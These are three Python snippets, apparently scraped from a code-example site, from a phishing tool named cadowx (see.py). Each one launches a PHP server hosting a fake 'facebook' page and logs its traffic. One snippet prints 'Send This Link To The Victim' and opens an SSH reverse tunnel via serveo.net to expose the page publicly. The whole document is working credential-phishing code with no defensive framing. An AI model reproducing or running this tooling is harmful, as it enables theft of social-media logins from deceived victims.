示例#1
0
 def local(self):
     print
     while True:
         with open("logs.txt", "w") as cade:
             cadow.Popen([
                 "php", "-S", "localhost:{}".format(self.port), "-t",
                 "facebook/"
             ],
                         stderr=cadow.PIPE,
                         stdin=cade,
                         stdout=cade)
             print
             print('[🌐]Listening Localhost On 127.0.0.1:{}'.format(
                 self.port))
             time.sleep(1)
             income.home()
示例#2
0
文件: see.py 项目: Cabdulahi/cadowx
def home():
  pp = raw_input(c+p+'           [+]Set Port : '+green+' ')
  print
  print
  if(pp==''):
   time.sleep(1)
   return home()
  else:
   print (c+p+'    [=]listning localhost port => '+green+'{}'.format(pp))
   while True:
    with open("assets/logs.txt","w") as cade:
			 cadow.Popen(
				["php","-S","localhost:{}".format(pp),"-t","facebook"],
				stderr=cadow.PIPE,stdin=cade,stdout=cade
			)
			 time.sleep(1)
			 income.home()
示例#3
0
 def servio(self):
     while True:
         with open("logs.txt", "w") as cade:
             cadow.Popen([
                 "php", "-S", "localhost:{}".format(self.port), "-t",
                 "facebook/"
             ],
                         stderr=cadow.PIPE,
                         stdin=cade,
                         stdout=cade)
             print
             print(
                 '[💊]Send This Link To The Victim : http://{}.serveo.net '.
                 format(self.host))
             os.system('ssh -R {}.serveo.net'.format(self.host) +
                       ':80:localhost:{} serveo.net'.format(self.port))
         print
         income.home()